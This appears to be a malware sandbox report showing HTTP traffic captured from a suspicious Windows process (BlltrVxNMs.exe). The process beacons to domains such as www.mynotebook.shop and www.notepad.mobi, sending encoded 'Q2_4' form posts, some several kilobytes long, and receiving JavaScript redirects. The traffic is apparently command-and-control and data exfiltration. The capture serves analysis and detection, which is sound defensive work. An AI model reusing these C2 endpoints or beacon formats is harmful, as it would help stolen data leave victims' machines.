Nov 5, 2024 15:36:17.668472052 CET	1240	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Tue, 05 Nov 2024 14:36:17 GMT Server: Netlify X-Nf-Request-Id: 01JBYC2HAE3FKS9CP1QGCY05CR Connection: close Transfer-Encoding: chunked Data Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c [TRUNCATED] Data Ascii: 9b5<!doctype html><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><title>Site Not Found</title><style>:root{--colorDefaultTextColor:#A3A9AC;--colorDefaultTextColorCard:#2D3B41;--colorBgApp:rgb(14, 30, 37);--colorBgInverse:hsl(175, 48%, 98%);--colorTextMuted:rgb(100, 110, 115);--colorError:#D32254;--colorBgCard:#fff;--colorShadow:#0e1e251f;--colorErrorText:rgb(142, 11, 48);--colorCardTitleCard:#2D3B41;--colorStackText:#222;--colorCodeText:#F5F5F5}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol;background:#34383c;color:#fff;overflow:hidden;margin:0;padding:0;font-size:1rem;line-height:1.5}h1{margin:0;font-size:1.375rem;line-height:1.2}.main{position:relative;display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;width:100vw}.card{position:relative;display:flex;flex-direction:column;width:75%;max-width: [TRUNCATED]
Nov 5, 2024 15:36:17.668488026 CET	1240	IN	Data Raw: 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 65 31 65 32 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 31 34 2c 33 30 2c 33 37 2c 2e 31 36 29 7d 61 7b 6d 61 72 67 Data Ascii: fff;color:#0e1e25;border-radius:8px;box-shadow:0 2px 4px rgba(14,30,37,.16)}a{margin:0;font-weight:600;line-height:24px;color:#054861}a svg{position:relative;top:2px}a:hover,a:focus{text-decoration:none}a:hover svg path{fill:#007067}p:last-of-
Nov 5, 2024 15:36:17.668581009 CET	504	IN	Data Raw: 75 72 63 65 3d 34 30 34 70 61 67 65 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 63 6f 6d 6d 75 6e 69 74 79 5f 74 72 61 63 6b 69 6e 67 22 3e 22 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 20 73 75 70 70 6f 72 74 20 67 75 69 64 65 3c 2f 61 3e 0a 66 Data Ascii: urce=404page&utm_campaign=community_tracking">"page not found" support guide</a>for troubleshooting tips.<p style=color:var(--colorTextMuted)>Netlify Internal ID:<span class="inline-code request-id"><code>11b01JBYC2HAE3FKS9CP1QGCY05CR</c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49778	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:22.908857107 CET	732	OUT	POST /sws3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.mynotebook.shop Origin: http://www.mynotebook.shop Referer: http://www.mynotebook.shop/sws3/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 71 58 51 72 6b 65 61 75 75 54 46 64 49 47 58 2b 51 37 61 31 72 4c 65 30 6a 53 57 51 39 78 69 51 62 30 66 33 77 6d 48 73 56 75 70 73 37 6f 70 49 69 78 4c 4e 46 7a 69 6e 50 66 74 48 70 36 59 7a 69 2f 64 53 75 4b 4e 48 78 76 6c 45 38 6d 36 65 6d 6d 67 61 47 4e 4b 42 43 71 74 6c 58 62 64 50 52 39 78 53 37 46 7a 51 59 6c 48 46 6e 39 70 7a 6f 38 2b 4f 63 66 32 35 37 49 6d 39 6e 68 4c 55 50 4c 72 2f 56 64 42 7a 33 4a 43 59 76 63 49 4e 58 71 2b 53 4b 78 41 79 54 48 47 68 2f 52 52 49 4a 4b 2b 77 70 53 52 47 6b 58 52 2b 33 66 64 56 76 38 70 68 4f 49 48 6c 71 31 6c 33 6e 7a 65 74 72 51 3d 3d Data Ascii: Q2_4=qXQrkeauuTFdIGX+Q7a1rLe0jSWQ9xiQb0f3wmHsVups7opIixLNFzinPftHp6Yzi/dSuKNHxvlE8m6emmgaGNKBCqtlXbdPR9xS7FzQYlHFn9pzo8+Ocf257Im9nhLUPLr/VdBz3JCYvcINXq+SKxAyTHGh/RRIJK+wpSRGkXR+3fdVv8phOIHlq1l3nzetrQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49779	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:25.545689106 CET	752	OUT	POST /sws3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.mynotebook.shop Origin: http://www.mynotebook.shop Referer: http://www.mynotebook.shop/sws3/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 71 58 51 72 6b 65 61 75 75 54 46 64 49 6d 48 2b 57 63 4f 31 67 4c 65 7a 6d 53 57 51 30 52 69 63 62 30 44 33 77 6e 7a 38 56 63 64 73 36 4e 46 49 73 51 4c 4e 4a 54 69 6e 45 2f 74 43 6b 61 59 73 69 2f 52 30 75 50 31 48 78 76 5a 45 38 6e 71 65 6c 58 67 56 47 64 4b 44 4f 4b 74 6a 54 62 64 50 52 39 78 53 37 45 44 75 59 6a 76 46 6e 4f 68 7a 70 64 2b 4a 52 2f 32 36 74 59 6d 39 74 78 4c 51 50 4c 72 64 56 63 63 6b 33 4c 4b 59 76 65 51 4e 57 37 2b 54 44 78 41 30 5a 6e 48 79 78 42 4d 69 49 6f 71 68 67 67 41 55 6a 32 56 45 79 4a 4d 50 79 4f 64 46 4e 62 62 58 75 46 63 66 6c 78 66 32 32 59 54 59 72 7a 77 6c 59 44 7a 57 46 71 36 74 34 63 73 73 42 46 49 3d Data Ascii: Q2_4=qXQrkeauuTFdImH+WcO1gLezmSWQ0Ricb0D3wnz8Vcds6NFIsQLNJTinE/tCkaYsi/R0uP1HxvZE8nqelXgVGdKDOKtjTbdPR9xS7EDuYjvFnOhzpd+JR/26tYm9txLQPLrdVcck3LKYveQNW7+TDxA0ZnHyxBMiIoqhggAUj2VEyJMPyOdFNbbXuFcflxf22YTYrzwlYDzWFq6t4cssBFI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49780	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:28.186302900 CET	2578	OUT	POST /sws3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.mynotebook.shop Origin: http://www.mynotebook.shop Referer: http://www.mynotebook.shop/sws3/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 71 58 51 72 6b 65 61 75 75 54 46 64 49 6d 48 2b 57 63 4f 31 67 4c 65 7a 6d 53 57 51 30 52 69 63 62 30 44 33 77 6e 7a 38 56 63 46 73 37 37 52 49 6a 54 54 4e 48 7a 69 6e 4c 76 74 44 6b 61 59 68 69 2f 4a 6f 75 50 78 39 78 70 56 45 38 41 71 65 6b 6a 4d 56 56 39 4b 44 52 36 74 69 58 62 63 58 52 39 68 6f 37 45 7a 75 59 6a 76 46 6e 4a 52 7a 71 4d 2b 4a 43 76 32 35 37 49 6d 78 6e 68 4c 73 50 4b 4f 71 56 63 5a 5a 33 66 47 59 76 2b 41 4e 56 4a 6d 54 66 68 41 32 65 6e 47 31 78 42 41 35 49 75 4f 44 67 68 6c 50 6a 31 46 45 7a 6f 68 47 75 63 68 4f 5a 49 58 6d 76 48 4e 67 73 42 33 49 6f 34 72 62 71 79 51 4f 51 32 2f 6c 62 34 43 46 6a 74 4d 2f 43 77 4c 57 49 72 52 2b 47 49 6b 39 73 77 73 62 70 78 5a 79 4c 58 50 72 41 78 4d 47 35 59 39 54 73 46 37 4d 41 42 35 57 45 76 6f 70 76 70 4e 7a 36 5a 71 49 52 30 64 53 4f 6a 4c 6e 65 47 78 41 53 56 55 35 50 6e 6a 4b 79 42 48 68 76 69 67 68 6a 68 43 6c 62 42 67 59 72 78 34 31 59 39 2f 4a 61 34 78 35 48 61 79 38 62 74 6d 51 59 4a 6c 49 63 58 31 6c 70 4b 6f 61 64 [TRUNCATED] Data Ascii: Q2_4=qXQrkeauuTFdImH+WcO1gLezmSWQ0Ricb0D3wnz8VcFs77RIjTTNHzinLvtDkaYhi/JouPx9xpVE8AqekjMVV9KDR6tiXbcXR9ho7EzuYjvFnJRzqM+JCv257ImxnhLsPKOqVcZZ3fGYv+ANVJmTfhA2enG1xBA5IuODghlPj1FEzohGuchOZIXmvHNgsB3Io4rbqyQOQ2/lb4CFjtM/CwLWIrR+GIk9swsbpxZyLXPrAxMG5Y9TsF7MAB5WEvopvpNz6ZqIR0dSOjLneGxASVU5PnjKyBHhvighjhClbBgYrx41Y9/Ja4x5Hay8btmQYJlIcX1lpKoad1kXP57Wzlzt8/TYOLfL/jf+n3EuxpBT7/vmM5tA+sZLnmRiAM1IcMN6uTEXwYt9odugfvtqPMUdWtcXUUz7Bce912FTF2/OCcl4fZn9dy5j7OFm/FHxFW2jxDxWQKJ3zHGtS2jY4qWO/3Y+sFDryeqCqVl4HP94SdiPk/XCMVErGM9gs0LNWft9BE+bnTPcj/pxLKPNrc/JA+QCx0LqPhGkjNfxIZ+JDDLCRnLJZBqfiD95hNVBx8kRbmdG+Md6CJK6w7vODDsver9q2XwlsJWhtsgr1D6NEMYlCaCsNHojbrlC6/08QgpGUYnUOluW7FRPeoz31rgin7xT7oEmnA5P/6S+UbdAFSC170NUKLRzgQOmXtGUC9nf8ueMRhwF3k3PxeMvirJ4RCLrxFcw8mY5Z69JQni2D+Ho9cbPbPrG9GDrRf2lrVlV1gLMjq0+Kgoq9aagI7bqfjFzh34InKcGooIbobax6e5A5mwnue5VVXNBVFgluKMKFEkgb7Ud37yPD6xlk+etlk97qhzBh0iNk7so/08QrVnSKHJ+LjhKAqh14CtMpRoXmDz+dkO5Hs0Z62qXhaLYisL5kaRuHzvrv/0H1I3wsQ9ClrzCQUuYdRdfX5lzXjziOBxxHmum4C8XkGGhLFFPgXYMvv5ugYs4NbXXNqoPT+Z [TRUNCATED]
Nov 5, 2024 15:36:28.186389923 CET	5323	OUT	Data Raw: 41 4c 4d 5a 73 72 33 38 70 36 7a 62 67 67 68 6d 44 62 58 39 36 6f 30 77 59 45 6c 48 39 73 31 53 48 4d 59 48 59 5a 4f 32 34 65 6d 70 65 31 75 73 79 49 45 44 76 56 67 67 39 51 5a 50 32 69 4f 6c 2b 56 6f 45 30 62 31 45 75 78 6b 70 41 6e 6e 6a 31 76 Data Ascii: ALMZsr38p6zbgghmDbX96o0wYElH9s1SHMYHYZO24empe1usyIEDvVgg9QZP2iOl+VoE0b1EuxkpAnnj1v2dFilVZtbotQPtLXrHnGDCa1Ud96PKLJ6xkFJQVUlX7kYGV9zhya/Nl+H5rMnhcD2kGHWB9VVHntl5/ti16dg9Me1WhBpZzt++36RI3xtS6jnue/oGhgurl0HuMWw0WvXrGcLfTApJatZKSY3nu/c/GpnoMCxLDpZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49781	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:30.833393097 CET	459	OUT	GET /sws3/?Q2_4=nV4LnquDqwBlA07HQ+G/v4eHjjrt+T2QZG3593DoQvpPwtJ1qSvdLT+tAqFoiYkQqMds5fxc5qEgqBHWhT8GH/u4GJVId9VOA+wH6Rzyb1bp8I1+ufyyCcg=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.mynotebook.shop User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:36:30.944552898 CET	389	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 05 Nov 2024 14:36:30 GMT Content-Type: text/html Content-Length: 249 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 51 32 5f 34 3d 6e 56 34 4c 6e 71 75 44 71 77 42 6c 41 30 37 48 51 2b 47 2f 76 34 65 48 6a 6a 72 74 2b 54 32 51 5a 47 33 35 39 33 44 6f 51 76 70 50 77 74 4a 31 71 53 76 64 4c 54 2b 74 41 71 46 6f 69 59 6b 51 71 4d 64 73 35 66 78 63 35 71 45 67 71 42 48 57 68 54 38 47 48 2f 75 34 47 4a 56 49 64 39 56 4f 41 2b 77 48 36 52 7a 79 62 31 62 70 38 49 31 2b 75 66 79 79 43 63 67 3d 26 75 58 50 3d 31 48 58 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Q2_4=nV4LnquDqwBlA07HQ+G/v4eHjjrt+T2QZG3593DoQvpPwtJ1qSvdLT+tAqFoiYkQqMds5fxc5qEgqBHWhT8GH/u4GJVId9VOA+wH6Rzyb1bp8I1+ufyyCcg=&uXP=1HX8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49782	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:44.367878914 CET	723	OUT	POST /zut6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.notepad.mobi Origin: http://www.notepad.mobi Referer: http://www.notepad.mobi/zut6/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 48 76 51 4b 54 6e 79 36 6e 64 62 42 38 77 68 72 59 38 35 30 67 63 51 77 36 38 65 67 6a 39 32 6d 74 73 53 52 73 69 78 46 64 62 52 61 6a 41 52 2f 72 46 4d 2b 51 79 6b 61 75 43 74 6c 6c 4b 69 76 49 75 34 4d 41 6f 4f 46 52 79 43 4b 4b 2b 62 76 57 53 77 34 48 50 39 73 68 6a 41 64 74 72 30 73 2b 72 6b 2b 4f 78 53 48 2f 61 30 50 4c 73 67 67 49 4f 64 39 44 71 66 69 73 43 54 67 54 38 34 2f 48 58 5a 79 70 47 41 66 54 77 4d 4e 6b 41 32 33 4f 59 41 30 6f 5a 57 72 34 59 70 52 78 74 30 43 38 66 32 68 31 52 44 58 72 6b 4c 31 6a 49 72 79 64 58 62 78 44 46 32 62 65 6b 37 69 57 51 62 53 61 67 3d 3d Data Ascii: Q2_4=HvQKTny6ndbB8whrY850gcQw68egj92mtsSRsixFdbRajAR/rFM+QykauCtllKivIu4MAoOFRyCKK+bvWSw4HP9shjAdtr0s+rk+OxSH/a0PLsggIOd9DqfisCTgT84/HXZypGAfTwMNkA23OYA0oZWr4YpRxt0C8f2h1RDXrkL1jIrydXbxDF2bek7iWQbSag==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49783	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:47.011559963 CET	743	OUT	POST /zut6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.notepad.mobi Origin: http://www.notepad.mobi Referer: http://www.notepad.mobi/zut6/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 48 76 51 4b 54 6e 79 36 6e 64 62 42 75 42 52 72 5a 61 78 30 6d 38 51 2f 6d 73 65 67 78 39 33 4f 74 73 65 52 73 6a 46 73 63 74 70 61 69 69 35 2f 6f 41 67 2b 52 79 6b 61 6b 69 74 67 39 71 69 6b 49 75 31 37 41 74 75 46 52 78 2b 4b 4b 2f 72 76 57 42 49 6e 45 2f 39 75 39 6a 41 6c 6e 4c 30 73 2b 72 6b 2b 4f 78 57 70 2f 61 73 50 4b 66 34 67 4b 72 78 36 63 61 66 6c 37 79 54 67 45 73 34 37 48 58 5a 41 70 44 70 43 54 79 30 4e 6b 42 6d 33 4f 73 30 7a 69 5a 57 58 32 34 6f 30 69 74 63 4f 39 39 36 6a 35 57 7a 51 7a 6e 44 65 72 2b 36 6f 41 6c 76 56 41 57 71 70 61 55 43 4b 55 53 61 4a 48 6f 5a 76 62 31 59 41 43 50 32 33 58 68 78 41 61 35 2b 6f 49 30 38 3d Data Ascii: Q2_4=HvQKTny6ndbBuBRrZax0m8Q/msegx93OtseRsjFsctpaii5/oAg+Rykakitg9qikIu17AtuFRx+KK/rvWBInE/9u9jAlnL0s+rk+OxWp/asPKf4gKrx6cafl7yTgEs47HXZApDpCTy0NkBm3Os0ziZWX24o0itcO996j5WzQznDer+6oAlvVAWqpaUCKUSaJHoZvb1YACP23XhxAa5+oI08=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49784	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:49.650089025 CET	6445	OUT	POST /zut6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.notepad.mobi Origin: http://www.notepad.mobi Referer: http://www.notepad.mobi/zut6/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 48 76 51 4b 54 6e 79 36 6e 64 62 42 75 42 52 72 5a 61 78 30 6d 38 51 2f 6d 73 65 67 78 39 33 4f 74 73 65 52 73 6a 46 73 63 74 68 61 69 54 5a 2f 72 6a 34 2b 53 79 6b 61 36 79 74 68 39 71 69 44 49 71 52 2f 41 74 79 2f 52 33 79 4b 49 64 6a 76 48 41 49 6e 66 50 39 75 32 44 41 65 74 72 30 44 2b 6f 63 36 4f 78 47 70 2f 61 73 50 4b 61 30 67 4f 2b 64 36 65 61 66 69 73 43 54 6e 54 38 34 54 48 57 78 71 70 44 74 53 54 68 38 4e 6c 68 57 33 64 2f 63 7a 2f 4a 57 56 78 34 6f 57 69 74 42 51 39 2b 50 53 35 57 76 36 7a 6b 7a 65 70 37 2f 55 63 57 7a 51 65 30 76 68 5a 56 71 57 56 51 43 35 59 6f 70 71 58 6c 63 55 4c 76 6d 76 53 52 35 42 4b 6f 75 71 57 51 55 36 47 41 51 4d 43 6e 39 48 55 4f 63 78 4f 33 35 76 49 6f 4c 4c 43 6e 6a 69 44 58 71 78 4a 33 74 62 64 62 64 50 7a 63 53 77 33 44 6b 52 6b 37 6d 49 51 4d 53 6f 76 38 38 73 49 5a 47 76 30 69 4c 30 5a 6c 6c 4d 62 6f 64 47 4c 6f 7a 4c 4e 66 34 6c 6b 4f 4d 65 39 79 7a 44 39 34 51 38 31 30 36 32 6a 76 35 4b 74 6b 33 30 63 71 52 79 34 39 6f 56 41 33 48 57 41 [TRUNCATED] Data Ascii: Q2_4=HvQKTny6ndbBuBRrZax0m8Q/msegx93OtseRsjFscthaiTZ/rj4+Syka6yth9qiDIqR/Aty/R3yKIdjvHAInfP9u2DAetr0D+oc6OxGp/asPKa0gO+d6eafisCTnT84THWxqpDtSTh8NlhW3d/cz/JWVx4oWitBQ9+PS5Wv6zkzep7/UcWzQe0vhZVqWVQC5YopqXlcULvmvSR5BKouqWQU6GAQMCn9HUOcxO35vIoLLCnjiDXqxJ3tbdbdPzcSw3DkRk7mIQMSov88sIZGv0iL0ZllMbodGLozLNf4lkOMe9yzD94Q81062jv5Ktk30cqRy49oVA3HWAPtMDIDUU+w7bd18zx3rfaVAl4216tg/UdW9ZY7sAxzEePFKtuj+Jsc9CbnZi0nXo4RumA5MqjOZJVY4cMc2XhM6zzL7fVN6TgLcj4vJi2tLka9dQrlihvui/taQOWAH/cR0+VZkQOpzsDuHD5E3UbJygvL46ze7XZOZvcYoNnj/Q35O96YjT9hdeRnQgnNzwK0yDMWie3an0K7j8V3tCu+4hQh4Ozzc0wG/6nehoQCALhZd0nz0i4x8oOyApWviA4ae8uUNXulV10Hy0XQBBo9lXz8bvciOXMJM/gqRhVAwG+leW1PYSDV90eg5yoQGfuAFf417hYgd/3R44Gw022Akixjh9xDQpdhSdSqpbPSL//og5lLMY+ANCfXDu3AElWEngPaCYKMnDeeLkGlhOwIWIrmSV0jAwblFHMP+i0KRh+J0ud6fZLeKdnLTyS5oI5Z3KOmT5XyOtbhCbACsEA5RH3gLu2OS+pe2zA/126u4HGopOTvff/Vrv+G4JG3tTnVZtTwK0Bxd5igOZFRvUJCBekZozOJZ5VrpVhMhE9orkAi7JdeVQU7weCyePRzWSBW+7oOfSGwCBjq7C4FKHvpoI8iTFhblcbKGnAaHPTkwJibC1fWtvvvtqDJdbm4xZSWzmMor554eAw78XbdgXYMkQLgMST9joRW [TRUNCATED]
Nov 5, 2024 15:36:49.650146961 CET	1447	OUT	Data Raw: 36 59 45 62 75 47 79 6f 4b 70 68 39 74 38 66 38 68 72 61 6d 33 71 78 45 78 55 43 2f 2f 47 77 4d 69 59 42 4e 6e 30 76 50 59 52 4c 31 71 73 51 69 79 4c 39 46 64 50 32 2f 70 68 53 73 56 30 55 65 54 4f 65 42 79 56 51 59 43 75 31 6d 5a 41 74 43 75 4b Data Ascii: 6YEbuGyoKph9t8f8hram3qxExUC//GwMiYBNn0vPYRL1qsQiyL9FdP2/phSsV0UeTOeByVQYCu1mZAtCuKn+Tgrj1Ih/kvcGzgERy4NOowuYZpMoSZZ9PvXA5NmKQkxeJrBpjcravcvpZy4yDI9m7n5j0w1X7nsi4Z/aWJHQvs0bPKlUs+ZMtvHNy1cV0xY3m3ESQn49BKhvC1DSZBS0oDaK6wK99oIi1RA6QwrwoZMCuUHQ+Ya

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49785	13.248.169.48	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:36:52.288631916 CET	456	OUT	GET /zut6/?Q2_4=Kt4qQSLgj4HorxpxZIZ4p+EAwKHWi+XN9OiBuCBJU5cikXkc2Sk5R2gtgSdO+P2tW+5SfoOeVCvwWIOnLXM8QNp6yDsCjrxQ3ZxiPCiDnoMvdK5RCpNRC70=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.notepad.mobi User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:36:52.399775028 CET	389	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 05 Nov 2024 14:36:52 GMT Content-Type: text/html Content-Length: 249 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 51 32 5f 34 3d 4b 74 34 71 51 53 4c 67 6a 34 48 6f 72 78 70 78 5a 49 5a 34 70 2b 45 41 77 4b 48 57 69 2b 58 4e 39 4f 69 42 75 43 42 4a 55 35 63 69 6b 58 6b 63 32 53 6b 35 52 32 67 74 67 53 64 4f 2b 50 32 74 57 2b 35 53 66 6f 4f 65 56 43 76 77 57 49 4f 6e 4c 58 4d 38 51 4e 70 36 79 44 73 43 6a 72 78 51 33 5a 78 69 50 43 69 44 6e 6f 4d 76 64 4b 35 52 43 70 4e 52 43 37 30 3d 26 75 58 50 3d 31 48 58 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Q2_4=Kt4qQSLgj4HorxpxZIZ4p+EAwKHWi+XN9OiBuCBJU5cikXkc2Sk5R2gtgSdO+P2tW+5SfoOeVCvwWIOnLXM8QNp6yDsCjrxQ3ZxiPCiDnoMvdK5RCpNRC70=&uXP=1HX8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49786	15.197.148.33	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
